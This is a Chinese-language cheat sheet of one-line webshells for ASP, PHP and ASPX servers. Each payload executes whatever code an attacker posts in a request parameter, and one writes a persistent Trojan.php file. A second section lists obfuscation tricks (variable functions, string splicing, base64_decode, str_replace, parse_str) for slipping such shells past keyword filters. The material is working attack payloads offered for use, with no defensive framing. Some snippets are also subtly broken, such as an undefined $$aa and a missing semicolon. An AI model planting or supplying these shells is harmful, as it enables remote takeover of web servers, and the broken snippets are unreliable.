一句话木马
-
asp
<%execute(request("value"))%>
-
php
<?php @eval($_POST[value]);?> <?php assert(@$_POST['a']); ?> <?php $fun = create_function('',$_POST['a']);$fun();?> <?php @call_user_func(assert,$_POST['a']);?> <?php @preg_replace("/abcde/e", $_POST['a'], "abcdefg");?> <?php $test='<?php $a=$_POST["cmd"];assert($a); ?>'; file_put_contents("Trojan.php", $test); ?>
-
aspx
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
-
其他
<%eval request("value")%> <%execute request("value")%> <%execute(request("value"))%> <%If Request("value")<>"" Then Execute(Request("value"))%> <%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%> <SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT> <%@ Page Language="Jscript"%> <%eval(Request.Item["value"],"unsafe");%>
常见绕过方式
-
PHP变量函数
<?php $a = "eval"; $a(@$_POST['a']); ?>
-
PHP可变变量
<?php $bb="eval"; $a="bb"; $$aa($_POST['a']); ?>
-
str_replace
函数<?php $a=str_replace("Waldo", "", "eWaldoval"); $a(@$_POST['a']); ?>
-
base64_decode
函数<?php $a=base64_decode("ZXZhbA==") $a($_POST['a']); ?>
-
.
操作符<?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); ?>
-
paste_str
函数<?php $str="a=eval"; parse_str($str); $a($_POST['a']); ?>